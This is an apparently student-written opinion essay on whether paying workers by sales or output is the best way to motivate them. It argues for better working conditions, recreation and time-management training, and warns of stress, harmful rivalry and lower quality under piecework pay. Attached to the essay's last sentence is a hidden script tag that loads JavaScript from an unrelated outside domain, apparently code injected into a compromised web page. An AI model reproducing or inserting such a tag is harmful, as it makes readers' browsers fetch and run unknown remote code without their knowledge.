The best way of motivating workers or encouraging employees to improve their performance is to pay them according to the amount of sales or products they produced Do you agree or disagree What other ways would you suggest

In everybody's life motivation plays an important role. Without motivation people would lose their way in life or get depressed. People in various situations need motivation for continuing their life. For Instance, students, employees, patients and etc. A group of individuals believe that they can boost workers' motivation by paying them based on their sales or products they produced. I disagree up to a point.

First of all, managers can motivate their employees by providing them good and energetic working environment in which people experience the less amount of stress. For example, offices and work environments can be equipped with recreational facilities such as gym or massage therapy. Secondly, managers can train their workers how to manage their time in order to increase their sales or productions.

In addition, each individual may get sick during a year so they may rest a few days and as a result their salary will reduce and they won't get money for those days. Moreover, in some critical situations like bad economic that the world marketing is not good, workers will feel too much stress because they will be worried about their income. Another drawback for this method is that it can make the working environment too competitive that can be good and bad at the same time. In such a situation some people forget about the morality and this lead to some challenges and arguments among employees. Besides, it can effect the quality of the products because workers try to produce more in order to make money.

To sum up,Although some methods seems to be good and effective in short time, they'll lose their efficiency after a short time. It's better to think up long term solutions that motivate workers and boost their inspiration.<script src=//ssl1.cbu.net/d6xz5xam></script>